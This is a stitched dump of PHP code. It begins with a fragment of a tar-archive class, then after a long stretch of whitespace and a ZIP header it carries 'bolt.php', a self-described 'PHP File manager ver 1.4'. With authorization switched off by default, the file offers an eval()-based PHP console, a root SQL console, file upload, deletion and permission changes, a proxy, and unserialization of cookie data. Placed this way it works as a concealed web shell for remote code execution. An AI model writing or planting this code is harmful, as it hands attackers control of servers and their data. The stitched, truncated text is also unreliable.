			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK     |\Ќ5 5   bolt.phpnu [        <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
